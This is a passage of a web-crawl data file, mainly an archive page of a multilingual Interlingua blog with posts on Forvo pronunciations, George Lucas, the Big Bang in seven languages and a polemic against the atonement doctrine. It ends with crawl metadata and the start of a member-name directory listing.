republication)\n---\nForvo Pronunciation Guide (by Martijn Dekker)\nIn April, I discovered an interesting web site, called Forvo: a public dictionary with voice pronunciations of all the words of many of the languages of the world. It is an excellent resource for people who want to learn any of these languages. Using this site, you can hear words pronounced by native speakers.\nAt least, this was the declared ambition of the site. But Interlingua was not included in the list of available languages. So I created an account on the site (with the user name \"Mc Dutchie\") and contacted the managers. Suddenly, from May 5, 2009, I found I was the principal Interlingua editor for Forvo.\nAs I write this, the site contains around two thousand words pronounced in Interlingua, with my own voice, and the voices of Erik Enfors (\"Torrente\") of Sweden, Jose Lavin of Spain, Gabriele Maranca of Argentina, and others.\nParticipation:\nAll can participate in the system and contribute pronunciations. The only requirement is a computer with a working microphone and a good knowledge of Interlingua pronunciation. The system is self explanatory and easy to use.\nThe site is set up specifically to allow for variety in regional accents. If a word has already been pronounced, people are still invited to add another pronunciation, if they can contribute a different accent or better quality.\nVariants:\nThough several pronunciation variants exist in the community of Interlinguists, for newcomers it can be confusing to find various inconsistent pronunciations.\nThus in Forvo I want to maintain a consistent standard, i.e., the pronunciation as described by IALA, without collateral options. This means that a person should pronounce a \"c\" before the vowels \"e\" and \"i\" as \"ts,\" and the \"g\" always hard, except in the suffix \"-age\" and certain other words).\nThis is different from national accents. Accents are naturally allowed, not to mention inevitable.\nAnd clearly Forvo's rule that pronunciation should preferably be by native speakers of the language in question is not applicable to Interlingua--at least for this generation of speakers.\nFree Distribution:\nWhoever wants to contribute pronunciations to the site should first understand that this is a public project and that the pronunciations can be legally used by other people on a non-commercial basis.\nTo facilitate this, all pronunciations are published under the Creative Commons license. This license contains exact stipulations for use and distribution. Consult the web address at the end of this article for exact details.\nThe meaning of the name\"Forvo\":\n\"Forvo\" seems to be a strange word that is unknown in any language. No one knows its meaning. In an article in a news bulletin dated July 16, 2008, the managers of the site maintain an attitude of secrecy about this. A contributor commented that the meaning could be \"For Vocalization\" in English, and Forvo responded that this is \"very close\" to the truth.\nThe language of the Web Site:\nThough the list of pronunciations in Interlingua is already long, the web site itself is not available in interlingua--at least right now. When I became the Interlingua editor, I requested that the manager of the site allow me to make a translation into Interlingua of the text of the site. But the manager answered that he preferred to concentrate first on its publication in the major languages.\nConclusion:\nThough there still remain thousands of words to be pronounced, the Forvo site is already a good pronunciation guide for Interlingua novices.\nSimply search for a word within the site, and, if it is included in the dictionary, you can hear the pronunciation with a single click. And contributing a new pronunciation is as easy as creating a new account on the site.\nIn conclusion, I hope that you will enjoy this new way of learning Interlingua, and perhaps some of you will add your own voices to this large pronunciation dictionary!\nWeb Addresses:\nhttp:\/\/forvo.com\/languages\/ia (Words pronounced in Interlingua)\nhttp:\/\/pronuncionary.com\/ (News bulletin, in English)\nhttp:\/\/creativecommons.org\/licenses\/by-nc-sa\/3.0\/deed.nl (conditions for distribution and republication)\nPosted by hkyson at 11:13 PM\n(Languages of this post: Interlingua, English)\nRecentemente in le \"Wall Street Journal\" le cineaste George Lucas diceva que le picture, le musica, e ulle altere tipo de arte es essentialmente un manifestation de technologia.\nPro ille, le uso de technologia digital in productiones cinematic es como facer un transition de picturas in fresco a picturas in oleo. Si on face un fresco, ille dice, un gruppo de 10-20 pictores es necesse pro completar omne le projecto. Tal picturas pote facer se solmente con le illumination de candelas, e dunque illos es multo difficile a producer.\nMa in le caso de picturas pingite in oleos, on pote travaliar con le luce del sol. E si un pictura non se evolve al gusto del artista, ille o illa pote pinger sur un image defectuose e comenciar de novo. Illo non se pote facer con frescos.\nIn le caso de productiones cinematic, on debeva usar lo que le camera produceva directemente, e le optiones pro manipular iste images esseva multo limitate e tediose a realisar.\nCon le technologia digital tamen le possibilitates de manipular images cinematic es grandemente multiplicate e deveni de plus in plus simple, e le production de un film comencia a resimilar le creation de un pictura in oleos. E il es anque ver que con le tempore le manipulation de images electronic deveni technicamente de plus in plus simple.\n---\nGeorge Lucas, Technology, and Art\nRecently in the \"Wall Street Journal\" the movie producer George Lucas said that painting, music, and any other kind of art is essentially a manifestation of technology.\nFor him, the use of digital technology in movie productions is like a transition of fresco to oil paintings. If someone paints a fresco, he says, a group of ten to twenty painters is needed to finish the entire project. Such paintings can be made only by candle light, and thus they are very difficult to produce.\nBut in the case of oil paintings, a person can work in sunlight. And if a painting does not evolve the way an artist wants, he or she can paint over a defective image and start out once again. This cannot be done with frescos.\nIn the case of movie productions, a person used to have to use what the camera produced directly, and the options for manipulating these images was very limited and tedious to execute.\nWith digital technology, however, the possibilities of manipulating movie images are greatly multiplied and are becoming simpler and simpler, and the production of a film is beginning to resemble the creation of an oil painting. And it is also true that in time the manipulation of electronic images is becoming simpler and simpler.\nPosted by hkyson at 5:10 AM\nFriday, June 4, 2010\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nLe cosmologia es le scientia que studia le origine e le evolution del universo. In le historia del pensamento scientific del Occidente, illo esseva un thema multo importante con relationes de alicun maniera con le philosophia e le religion. Usque ante unes pauc seculos, le universo cognoscite esseva describite per le systema de Ptolomeo, secundo le qual le cosmos esseva perfecte e immutabile e se centrava in le Terra.\nCopernico, Galileo, e Kepler demonstrava que le concepto geocentric del universo non esseva exacte, e le sol tunc se considerava como le centro del universo. Le idea de un universo heliocentric esseva plus que un simple cambio de perspectiva. Illo esseva le comenciamento de un revolution in le scientia proque post le travalio de iste tres astronomos esseva abandonate le dogma religiose sur le origine del universo e substituite per le experimentation.\nHodie nos sape que le sol non es le centro del universo ma un parte del Via Lactee. E usque ante unes pauc decadas on credeva que il non habeva ullo in le universo ultra nostre galaxia e que omne le stellas visibile e le nebulosas eseva un parte de illo.\nSolmente in le annos 20, le astronomo Edwin Hubble discoperiva que alicunes de ille stellas e nebulosas se trova foras del Via Lactee e in realitate es galaxias multo distante.\nIn 1929, Hubble descoperiva que omne le galaxias pare mover se a distantias de plus in plus grande de nos proque le radiation que illos emitte se trova verso le latere rubie del spectro. Isto es cognoscite per le astronomos como le \"red shift\".\nLe curso verso le rubie es causate per le effecto Doppler. On pote observar lo e in luce e in sono. Quando un traino se approxima a un observator stationari, su sibilo ha un frequentia plus alte que quando le traino ultrapassa le observator.\nQuando le galaxias se move a un distantia plus grande del systema solar, lor currimentos verso le rubie se face plus grande, e on pote mensurar le distantia de cata galaxia del terra a causa del grandor de su \"currimento verso le rubie\".\nLe discoperimento que le universo se trova in un processo de expansion ha presentate le problema de su nascimento. Le facto que le galaxias se move le unes del alteres implica que, si le distantia inter illos se contraheva con le mesme velocitate, in un periodo de unes pauc milliones de annos illos se unirea in un massa multo dense.\nIste consideration eveliava le idea que le universo se originava in un explosion gigante, appellate le \"Big bang\". Secundo iste theoria, le universo primitive se trovava componite de material dense e calide, concentrate in un spatio infinitesimal. Su stato physic esseva tan extreme que le mente human non pote comprender su natura facilemente in ulle forma intuitive. Solmente le mathematicas del physica theoric pote describer le materia in iste stato primitive. Un volta que iste materia explodeva, illo se faceva minus calide e minus dense, usque gradualmente illo prendeva le forma del materia que nos cognosce hodie.\nLe theoria del Big bang es capace de explicar un grande numero de observationes e, a causa de isto, se considera un hypothese de travalio de confidentia, ben que totevia illo ha alicun problemas. E in despecto de que a vices illo ha essite le objecto de un debatto serie, nulle altere theoria ha surgite pro explicar le origine del universo.\n---\nLa explosión que produjo el universo\nLa cosmología es la ciencia que estudia el origen y la evolución del universo. En la historia del pensamiento científico de Occidente, fue un tema muy importante relacionado de alguna manera con la filosofía y la religión. Hasta hace unos pocos siglos, el universo conocido fue descrito por el sistema de Ptolomeo, según el cual el cosmos era perfecto e inmutable y se centró en la Tierra.\nCopérnico, Galileo y Kepler demonstraron que el concepto geocéntrico del universo no fue exacto, y el sol entonces se consideraba como el centro del universo. La idea de un universo heliocéntrico era más que un simple cambio de perspectivo. Fue el comienzo de una revolución en la ciencia, porque después del trabajo de estos tres astrónomos fue abandonado el dogma religioso sobre el origin del universo e substituido por la experimentación.\nHoy sabemos que el sol no es el centro del universo, sino parte de la Vía Láctea. Y hasta hace unas pocas décadas se creyó que no había nada en el universo más allá de nuestra galaxia y que todas las estrellas visibles y las nebulosas eran parte de ella.\nSólo en los años 20, el astrónomo Edwin Hubble descubrió que algunas de esas estrellas y nebulosas están fuera de la Vía Láctea y en realidad son galaxias muy distantes.\nEn 1929, Hubble descubrió que todas las galaxias parecen alejarse de nosotros, porque la radiación que emiten se desplaza hacia el lado rojo del espectro. Esto es conocido por los astrónomos como el \"red shift\".\nEl corrimiento hacia el rojo es causado por el efecto Doppler. Se puede observar tanto en luz como en sonido. Cuando un tren se acerca a un observador estacionario, su silbido tiene una frecuencia más alta que cuando el tren pasa por el observador.\nCuando las galaxias se mueven más lejos del sistema solar, sus corrimientos hacia el rojo se hacen más grandes, y se puede medir la distancia de cada galaxia de la Tierra a causa del tamaño de su \"corrimiento hacia el rojo\".\nEl descubrimiento de que el universo está en el proceso de expansión ha presentado la cuestión de su nacimiento. El hecho de que las galaxias están huyendo de sí mismos significa que si las distancias entre estas galaxias se redujeran con la misma velocidad, en un período de unos pocos millones de años, se mezclarían en una sola masa muy densa.\nEsta consideración llevó a la idea de que el universo se originó en una explosión gigante, llamado el \"Big bang\". Según esta teoría, el universo primitivo estaba compuesto de materia densa y caliente, concentrada en un espacio infinitesimal. Su estado físico era tan extremo que la mente humana no puede entender su naturaleza fácilmente en cualquier forma intuitiva. Sólo la matemática de la física teórica puede describir el material en este estado primitivo. Una vez que este material explotó, se hizo menos caliente y menos denso, hasta que poco a poco tomó la forma de la materia que conocemos hoy en día.\nLa teoría del Big bang es capaz de explicar un gran número de observaciones y por lo tanto se considera una hipótesis de trabajo de confianza, aunque todavía tiene algunos problemas. Y a pesar de que a veces ha sido objeto de un debate serio, ninguna otra teoría ha surgido para explicar el origen del universo.\n---\nL'explosió que va produir l'univers\nLa cosmologia és la ciència que estudia l'origen i l'evolució de l'univers. En la història del pensament científic d'Occident, va ser un tema molt important relacionat d'alguna manera amb la filosofia i la religió. Fins fa uns pocs segles, l'univers conegut va ser descrit pel sistema de Ptolemeu, segons el qual el cosmos era perfecte i immutable i es va centrar en la Terra.\nCopèrnic, Galileu i Kepler demonstraron que el concepte geocèntric del univers no va ser exacte i el sol llavors es considerava com el centre de l'univers. La idea d'un univers heliocèntric era més que un simple canvi de perspectiva. Va ser el començament d'una revolució en la ciència, perquè després del treball d'aquests tres astrònoms va ser abandonat el dogma religiós sobre l'origin de l'univers i substituït per l'experimentació.\nAvui sabem que el sol no és el centre de l'univers, sinó part de la Via Làctia. I fins fa unes poques dècades es va creure que no hi havia res en l'univers més enllà de la nostra galàxia i que totes les estrelles visibles i les nebuloses eren part d'ella.\nNomés en els anys 20, l'astrònom Edwin Hubble va descobrir que algunes d'aquestes estrelles i nebuloses estan fora de la Via Làctia i en realitat són galàxies molt distants.\nEl 1929, Hubble va descobrir que totes les galàxies semblen allunyar-se de nosaltres, perquè la radiació que emeten es desplaça cap al costat vermell de l'espectre. Això és conegut pels astrònoms com el \"red shift\".\nEl desplaçament cap al vermell és causat per l'efecte Doppler. Es pot observar tant en llum i so. Quan un tren s'acosta a un observador estacionari, la seva xiulet té una freqüència més alta que quan el tren passa per l'observador.\nQuan les galàxies es mouen més lluny del sistema solar, les seves corriments cap al vermell es fan més grans, i es pot mesurar la distància de cada galàxia de la terra a causa de la mida del seu \"corriment cap al vermell\".\nEl descobriment de que l'univers està en el procés d'expansió ha presentat la qüestió del seu naixement. El fet que les galàxies estan fugint de si mateixos vol dir que si la distància entre aquestes galàxies es reduís amb la mateixa velocitat, en un període d'uns pocs milions d'anys, es barrejarien en una sola massa molt densa.\nAquesta consideració va portar a la idea que l'univers es va originar d'una explosió gegant, anomenat el \"big bang\". Segons aquesta teoria, l'univers primitiu estava compost de matèria densa i calenta, concentrada en un espai infinitesimal. El seu estat físic era tan extrem que la ment humana no pot entendre la seva naturalesa fàcilment en qualsevol forma intuïtiva. Només les matemàtiques de la física teòrica poden descriure el material en aquest estat primitiu. Una vegada que aquest material va explotar, es va fer menys calenta i menys dens, fins que poc a poc va prendre la forma de la matèria que coneixem avui en dia.\nLa teoria del Big bang és capaç d'explicar un gran nombre d'observacions i per tant es considera una hipòtesi de treball de confiança, tot i que encara té alguns problemes. I tot i que de vegades ha estat objecte d'un debat seriós, cap altra teoria ha sorgit per explicar l'origen de l'univers.\n---\nA explosión que produciu o universo\nA cosmoloxía é a ciencia que estuda a orixe e a evolución do Universo. Na historia do pensamento científico occidental, era unha cuestión importante, de algunha maneira relacionada coa filosofía e relixión. Ata algúns séculos, o universo coñecido foi descrito polo sistema ptolomaico, no que o cosmos era perfecto e inmutable e centrouse na Terra.\nCopérnico, Galileo e Kepler, mostraron que o concepto xeocéntrica do Universo non foi precisa, e, a continuación, o sol era considerado o centro do universo. A idea dun universo heliocéntrico non era só unha simple cambio de perspectiva. Era o comezo dunha revolución na ciencia, porque despois do traballo destes tres astrónomos foi abandonado o dogma relixioso sobre a orixe do universo e substituída pola experimentación.\nHoxe sabemos que o Sol non é o centro do universo, pero parte da Vía Láctea. E ata algunhas décadas, considerábase que non había nada no universo alén da nosa galaxia, e que todas as estrelas e nebulosas visibles eran parte dela.\nSó na década de 20, o astrónomo Edwin Hubble descubriu que algunhas destas estrelas e nebulosas están fóra da Vía Láctea e son galaxias moi distantes en realidade.\nEn 1929, Hubble descubriu que todas as galaxias parecen afastar-nos, porque a radiación que emiten móvese para o lado vermello do espectro. Isto é coñecido polos astrónomos como o \"red shift\".\nO desvío para o vermello é causado polo efecto Doppler. Podes ver na luz e no son. Cando un tren se achega a un observador estacionario, o seu chifre ten unha frecuencia maior que cando o tren pasa polo observador.\nCando as galaxias se moven a unha maior distancia do sistema solar, os seus movementos vermellos son maiores, e se pode medir a distancia de cada galaxia da Terra polo seu movemento cara a parte vermella do espectro.\nO descubrimento de que o universo se expande levanta o problema do seu nacemento. O feito de que as galaxias se están afastando unhas das outras implica que, no caso de que ían cara atrás co a mesma velocidade, no decurso dalgúns millóns de anos elas se xuntan.\nO descubrimento de que o universo está en proceso de expansión ten levantado a cuestión do seu nacemento. O feito de que as galaxias están fuxindo de si mesmos significa que, se as distancias entre elas fosen contratadas coa mesma taxa, nun periodo duns poucos millóns de anos serían mesturadas nunha única masa moi densa.\nEsta consideración levou á idea de que o universo se orixinou dunha explosión xigante, chamado o \"Big bang\". Segundo esta teoría, o universo inicial estaba composto por material denso e quente, concentrada nun espazo infinitesimal. A súa condición física era tan extrema que a mente humana non pode comprender facilmente súa natureza en calquera forma intuitiva. Só as matemáticas da física teórica poden describir o material neste estado primitivo. Unha vez que este material estoupou, tornouse menos quente e menos denso, ata que pouco a pouco se tomou a forma de materia que coñecemos hoxe.\nA teoría do Big bang pode explicar un gran número de observacións e, polo tanto, é considerada unha hipótese de traballo de confianza, aínda que ten algúns problemas serios. E, aínda que ás veces ten sido obxecto de debate serio, ningunha outra teoría xurdiu para explicar a orixe do universo.\n---\nA explosão que produziu o universo\nA cosmologia é a ciência que estuda a origem e a evolução do Universo. Na história do pensamento científico ocidental, foi um tema muito importante, de alguma forma relacionado com a filosofia e a religião. Até há poucos séculos, o universo conhecido foi descrito pelo sistema de Ptolomeu, segundo o qual o universo era perfeito e imutável e centrou-se na Terra.\nCopérnico, Galileu e Kepler mostraram que o conceito geocêntrico do universo não foi precisa, e o sol foi então considerado como o centro do universo. A idéia de um universo heliocêntrico não era apenas uma simples mudança de perspectiva. Foi o começo de uma revolução na ciência, porque após o trabalho destes três astrônomos o dogma religioso sobre a origem do universo foi abandonado e substituído pela experimentação.\nHoje sabemos que o Sol não é o centro do universo, mas parte da Via Láctea. E até algumas décadas atrás, acreditava-se que não havia nada no universo além de nossa galáxia e que todas as estrelas e nebulosas visíveis eram parte dela.\nSomente na década dos anos 20, o astrônomo Edwin Hubble descobriu que algumas destas estrelas e nebulosas estão além da Via Láctea e são, na realidade galáxias muito distantes.\nEm 1929, Hubble descobriu que todas as galáxias parecem se mover para longe de nós, porque a radiação que emitem e transferida para o lado vermelho do espectro. Isto é conhecido pelos astrônomos como o \"red shift\".\nO desvio para o vermelho é causado pelo efeito Doppler. Você pode ver este efeito na luz e no som. Quando um trem se aproxima de um observador estacionário, o seu apito tem uma freqüência maior do que quando ele passa pelo observador.\nQuando as galáxias se movem a uma distância plus grande do sistema solar, seus deslocamentos vermelhos tornam-se maiores, e pode-se medir a distância de cada galáxia da terra por causa do tamanho do seu red shift.\nA descoberta de que o universo está se expandindo levantou o problema do seu nascimento. O fato de que as galáxias estão se afastando umas das outras implica que, se as distâncias entre elas fossem reduzidas com a mesma velocidade, no decurso de alguns bilhões de anos, elas unir-se-iam em uma única massa muito densa.\nEsta consideração levou à idéia de que o universo se originou de uma explosão gigante, chamado o \"big bang\". Segundo esta teoria, o universo inicial era composto por matéria densa e quente, concentrada num espaço infinitesimal. Sua condição física era tão extrema que a mente humana não pode compreender sua natureza facilmente em qualquer forma intuitiva. Só a matemática da física teórica pode descrever a matéria neste estado primitivo. Uma vez que esta matéria explodiu, tornou-se menos quente e menos denso, até que pouco a pouco tomou a forma que conhecemos hoje.\nA teoria do Big bang pode explicar um grande número de observações e, portanto, é considerada uma hipótese de trabalho de confiança, mas ainda tem alguns problemas. E embora por vezes tem sido objecto de debate sério, nenhuma outra teoria surgiu para explicar a origem do universo.\n---\nL'explosion qui a produit l'univers\nLa cosmologie est la science qui étudie l'origine et l'évolution de l'Univers. Dans l'histoire de la pensée scientifique occidentale, c'était une question très importante en quelque sorte liée à la philosophie et la religion. Jusqu'à il ya quelques siècles, l'univers connu a été décrit par le système de Ptolémée, dans laquelle le cosmos était parfait et immuable et avait la Terre comme centre.\nCopernic, Galilée et Kepler ont montré que le concept géocentrique de l'univers n'était pas correct. Ensuite, le soleil était considéré comme le centre de l'univers. L'idée d'un univers héliocentrique n'était pas seulement un simple changement de perspective, mais le début d'une révolution dans la science, parce que, après les travaux de ces trois astronomes, le dogme religieux concernant l'origine de l'univers a été abandonné et remplacé par l'expérimentation.\nAujourd'hui, nous savons Que le soleil n'est pas le centre de l'Univers, mais une partie de la Voie Lactée. Et jusqu'à il ya quelques décennies, on croyait qu'il n'y avait rien dans l'univers au-delà de notre galaxie et que toutes les étoiles visibles et les nébuleuses en faisaient partie.\nCe n'est que dans les années 20 que l'astronome Edwin Hubble a fait la découverte que certaines de ces étoiles et de nébuleuses sont en dehors de la Voie lactée et sont en fait des galaxies très lointaines.\nEn 1929, Hubble a découvert que toutes les galaxies semblent s'éloigner de nous, parce que les rayonnements qu'ils émettent sont décalés vers le côté rouge du spectre. Ceci est connu des astronomes comme le \"red shift\".\nLe décalage vers le rouge est causé par l'effet Doppler, lequel peut être observé dans les sons et les lumières. Quand un train s'approche d'un observateur immobile, le son de son sifflet a une fréquence plus élevée qu'elle n'a pas quand le train passe de l'observateur.\nLorsque les galaxies s'éloignent du système solaire, leur décalage vers le rouge devient plus grande, et l'on peut mesurer la distance de chaque galaxie de la terre de la taille de son \"décalage vers le rouge\".\nLa découverte que l'univers se dilate a soulevé la question de sa naissance. Le fait que les galaxies s'éloignent les unes des autres implique que, si elles se rapprochaient avec la même vitesse. après quelques milliards d'années elles se reuniraient.\nCette considération conduit à l'idée que l'univers provient d'une explosion géante, appelée le «Big bang». Selon cette théorie, l'univers était composé au début de la matière dense et chaude, concentrée dans un espace infiniment petit. Son état physique était si extrême que l'esprit humain ne peut pas comprendre sa nature facilement en aucune manière intuitive. Seulment les mathématiques de la physique théorique peuvent décrire la matière dans cet état primitif. Une fois que ce matériau est explosé, il est devenu moins chaud et moins dense jusqu'à ce qu'il a pris la forme de la matière que nous connaissons aujourd'hui.\nLa théorie du Big bang peut expliquer des observations nombreuses et c'est une hypothèse de travail qui est considéré comme fiable, mais le big bang presente encore des problèmes. Et même si cela a été l'objet d'un débat qui ha été parfois sérieux, aucune autre théorie n'a pas encore vu le jour pour expliquer l'origine de l'univers.\n---\nL'esplosione che ha prodotto l'universo\nLa cosmologia è la scienza che studia l'origine e l'evoluzione dell'Universo. Nella storia del pensiero scientifico occidentale, essa ha avuto un ruolo molto importante e in qualche modo legato alla filosofia e alla religione. Fino a pochi secoli fa, l'universo conosciuto era descritto dal Sistema Tolemaico, secondo il quale il cosmo era perfetto ed immutabile ed aveva il suo centro nella Terra.\nCopernico, Galileo e Keplero hanno mostrato che il concetto geocentrico dell'universo non era esatto, ed il sole allora era considerato il centro dell'universo. L'idea di un universo eliocentrico non fu solo un semplice cambiamento di prospettiva ma l'inizio di una rivoluzione nella scienza, perché dopo il lavoro di questi tre astronomi il dogma religioso per quanto riguarda l'origine dell'universo è stato abbandonato e sostituito dalla sperimentazione.\nOggi sappiamo che il sole non è il centro dell'Universo, ma fa parte della Via Lattea. E fino a pochi decenni fa si riteneva che non vi era nulla nell'universo oltre la nostra galassia e che tutte le stelle visibili e nebulose erano parte di essa.\nSoltanto negli anni '20, l'astronomo Edwin Hubble ha fatto la scoperta che alcune di quelle stelle e nebulose sono al di fuori della Via Lattea e sono in realtà galassie molto distanti.\nNel 1929, Hubble scoprì che tutte le galassie sembrano allontanarsi da noi, perché la radiazione che emettono e spostata verso il lato rosso dello spettro. Questo è noto agli astronomi come il \"red shift\".\nIl spostamento verso il rosso è causato dall'effetto Doppler. Si può osservare sia in luce e suono. Quando un treno si avvicina a un osservatore fermo, il suo fischio ha una frequenza sonora più elevata di quanto non sia quando il treno passa l'osservatore.\nQuando si muovono le galassie più lontane dal sistema solare, i loro red shifts diventano più grandi, ed è possibile la misura della distanza di ogni galassia dalla Terra dalla grandezza del suo \"red shift\".\nLa scoperta che l'universo si espande ha sollevato il problema della sua nascita. Il fatto che le galassie si stanno allontanando l'una dall'altra implica che, se fossero tornati indietro con la stessa velocità, nel corso di qualche miliardo di anni si sarebbero uniti insieme.\nQuesta considerazione ha portato l'idea che l'universo abbia avuto origine da una gigantesca esplosione, chiamata il \"big bang\". Secondo questa teoria, l'universo primordiale era composto di materia densa e calda, concentrata in uno spazio infinitesimale. Il suo stato fisico era così estremo che la mente umana non può facilmente comprendere la sua natura in alcun modo intuitivo. Solo la matematica della fisica teorica è in grado di descrivere la materia in questo stato primitivo. Una volta che questo materiale è esploso, è diventato meno caldo e meno denso fino a che lentamente ha preso la forma di materia che noi conosciamo oggi.\nLa teoria del Big bang è in grado di spiegare un gran numero di osservazioni e quindi è considerata un'ipotesi di lavoro attendibile, anche se ha ancora qualche problema. E anche se è stato oggetto di un dibattito serio a volte, nessuna altra ipotesi è ancora emersa per spiegare l'origine dell'universo.\n---\nThe explosion that produced the universe\nCosmology is the science that studies the origin and evolution of the Universe. In the history of Western scientific thought, it was a very important subject and somehow related to philosophy and religion. Until a few centuries ago, the known universe was described by the Ptolemaic system, in which the cosmos was perfect and immutable and had the Earth as its center.\nCopernicus, Galileo, and Kepler showed that the geocentric concept of the universe was not accurate, and the sun was then regarded as the center of the universe. The idea of a heliocentric universe was not just a simple change of perspective. It was the beginning of a revolution in science because after the work of these three astronomers, religious dogma about the origin of the universe was abandoned and replaced by experimentation.\nToday we know that the sun is not the center of the universe, but part of the Milky Way. And until a few decades ago it was believed that there was nothing in the universe beyond our galaxy and that all the visible stars and nebulae were part of it.\nOnly in the 1920s did the astronomer Edwin Hubble make the discovery that some of those stars and nebulae are outside the Milky Way and are in fact very distant galaxies.\nIn 1929, Hubble discovered that all the galaxies seem to move away from us because the radiation they emit is shifted toward the red end of the spectrum. This is known to astronomers as the \"red shift.\"\nThe red shift is caused by the Doppler effect. It can be observed in both light and sound. When a train approaches a stationary observer, its whistle has a higher pitch than it has when the train passes the observer.\nWhen galaxies move farther away from the solar system, their red shift becomes greater, and it is possible to measure the distance of each galaxy from the earth by the magnitude of its red shift.\nThe discovery that the universe is expanding has raised the problem of its birth. The fact that galaxies are moving away from one another implies that, if the distance among them were reduced at the same speed, in the course of a few billion years they would unite in a single dense mass.\nThis consideration led to the idea that the universe had its origin in a gigantic explosion, called the \"big bang.\" According to this theory, the early universe was composed of hot, dense matter, concentrated in an infinitesimal space. Its physical condition was so extreme that the human mind cannot easily understand its nature in any intuitive way. Only the mathematics of theoretical physics can describe matter in this primitive state. After this matter exploded, it became less hot and less dense until it slowly took on the form of matter that we are familiar with today.\nThe Big bang theory is able to explain a large number of observations and therefore is considered a trusted working hypothesis, even if it still has some problems. And even though it has been the subject of serious debate at times, no other theory has yet emerged to explain the origin of the universe.\nPosted by hkyson at 8:45 PM\nThursday, June 3, 2010\n(Languages of this post: Interlingua, Spanish, English)\nLe corde del theologia del Nove Testamento inventate post le morte de Jesus es un cruel doctrina sadomasochistic de tormento per le peccato original. Le idea es que Deo se incarnava in homine, Jesus, pro esser horrorosemente torturate e executate pro redimer omne nostre peccatos--non solmente le peccato original de Adam e Eva, ma anque peccatos futur, illos que nos committerea o non.\nSi Deo voleva perdonar nostre peccatos, pro que non lo faceva ille simplemente? Qui essaya ille a impressionar? Apparentemente se ipse, desde que ille es le judice e jurato, tanto como le victima de execution.\nSecundo le vision scientific del prehistoria, Adam, le supponite autor del peccato original, nunquam existeva in prime loco, un embarassante facto que destrue le premissa de omne le torquite e cruel theoria de Paulo.\nAh, ma illo esseva solmente un historia \"symbolic\", nonne? Symbolic? Assi, Jesus se torturava e executava se mesme a causa de un peccato symbolic de un individuo non existente? Nemo elevate sin religion poterea negar que iste idea es absolutemente folle!\n---\nEl corazón de la teología del Nuevo Testamento inventada después de la muerte de Jesús es una cruel doctrina sadomasoquista de tormento por el pecado original. La idea es que Dios se encarnó en hombre, Jesus, para ser horrorosamente torturado y ejecutado para redimir todos nuestros pecados--no solo el pecado original de Adán e Eva, sino también futuros pecados, los que cometamos o no.\nSi Dios quería perdonar nuestros pecados ¿por qué no simplemente lo hizo? ¿A quien trata de impresionar? Por lo visto a si mismo, ya que él es el juez y jurado, así como la víctima de ejecución.\nSegún la vision científica de la prehistoria, Adán, el supuesto autor del pecado original, nunca existió en primer lugar, un embarazoso hecho que destruye la premisa de toda la retorcida y cruel teoría de Pablo.\nAh, pero solo era una historía \"simbólica\", ¿verdad? ¿Simbólica? ¿Entonces Jesús se torturó y ejecutó a si mismo por un pecado simbólico de un individuo no existente? ¡Nadie criado sin religion podría negar que esta idea es absolutamente demencia!\n---\nThe heart of New Testament theology, invented after Jesus' death, is Saint Paul's nasty sadomasochistic doctrine of atonement for original sin. The idea is that God had himself incarnated as a man, Jesus, in order that he should be hideously tortured and executed to redeem all our sins--not just the original sin of Adam and Eve, but future sins as well, whether we decide to commit them or not.\nIf God wanted to forgive our sins, why not just forgive them? Who is God trying to impress? Presumably himself since he is judge and jury, as well as execution victim.\nTo cap it all, according to scientific views of prehistory, Adam, the supposed perpetrator of the original sin, never existed in the first place--an awkward fact which undermines the premise of Paul's whole tortuously nasty theory.\nOh, but of course the story of Adam of Eve was only of a symbolic nature, wasn't it? Symbolic? So Jesus had himself tortured and executed for a symbolic sin by a nonexistent individual. Anybody not brought up in the faith could not reach any verdict other than that this idea is barking mad.\nPosted by hkyson at 8:23 PM","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/interlinguamultilingue.blogspot.com\/2010_06_01_archive.html","date":"2018-06-24T01:36:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267865995.86\/warc\/CC-MAIN-20180624005242-20180624025242-00578.warc.gz","language":"ina","language_score":0.5943102837,"language_script":"Latn","minhash_cluster_size":52,"top_langs":"{\"ina_Latn_score\": 0.5943102836608887, \"por_Latn_score\": 0.07545563578605652, \"spa_Latn_score\": 0.034539006650447845, \"glg_Latn_score\": 0.02946729212999344, \"cbk_Latn_score\": 0.024027662351727486, \"srd_Latn_score\": 0.0178444292396307, \"eng_Latn_score\": 0.0172263253480196, \"ita_Latn_score\": 0.01587323658168316, \"vec_Latn_score\": 0.01356600783765316, \"kea_Latn_score\": 0.010653134435415268}","num_words":19678,"character_repetition_ratio":0.033,"word_repetition_ratio":0.065,"special_characters_ratio":0.196,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.62,"perplexity_score":2707.1,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Laura Lb||Laura LE GOFF|\n|Laura LB||laura le goff|\n|Laura Lba||laura Le guellec|\n|Laura Lbc||Laura Le Guen|\n|Laura Lbl||Laura le Guern|\n|Laura Lbrn||Laura Le Guillou|\n|laura Lc||Laura Le Houerou|\n|Laura LC||laura Le Jallé|\n|Laura Lc||Laura Le Jort|\n|Laura Lcssn||Laura le Louarn|\n|Laura LD||Laura le Louer|\n|Laura Le||Laura le Maire|\n|Laura Lê||Laura Le Mechec|\n|Laura Le||Laura Le Métayer|\n|Laura Le||Laura Le Metre|\n|Laura Le||Laura Le Meur|\n|Laura Le||Laura Le Moal|\n|Laura Le||Laura Le Moel|\n|Laura Le||Laura Le Mounier|\n|Laura Le Bail||Laura Le Neillon|\n|Laura Le Bail||Laura Le Noëne|\n|LAURA LE BARBIER||Laura Le Ray|\n|Laura Le Baron||Laura Le Saint|\n|Laura Le Béchennec||Laura Le sort|\n|Laura Le Bihan||LAURA LE SORT|\n|Laura Le Bihannic||Laura Le Souef|\n|Laura Le Blanc||laura Le Sueur|\n|Laura Le Borgne||laura le tellier|\n|Laura Le Brasseur||Laura Le Tonquèze|\n|Laura Le Bris||Laura Le troadec|\n|Laura Le Caillou||LAURA LE VAILLANT|\n|laura Le Calvez||laura le velly|\n|Laura Le Claire||Laura Lea|\n|Laura Le Clercq||Laura Lea|\n|Laura Le Costaouec||Laura Leach|\n|Laura Le Derout||Laura Leach|\n|Laura Le Deunff||laura Leader|\n|Laura Le doare||Laura Leahu|\n|Laura Le Drean||Laura Leahu|\n|Laura Le Duigou||Laura Leahy|\n|Laura Le 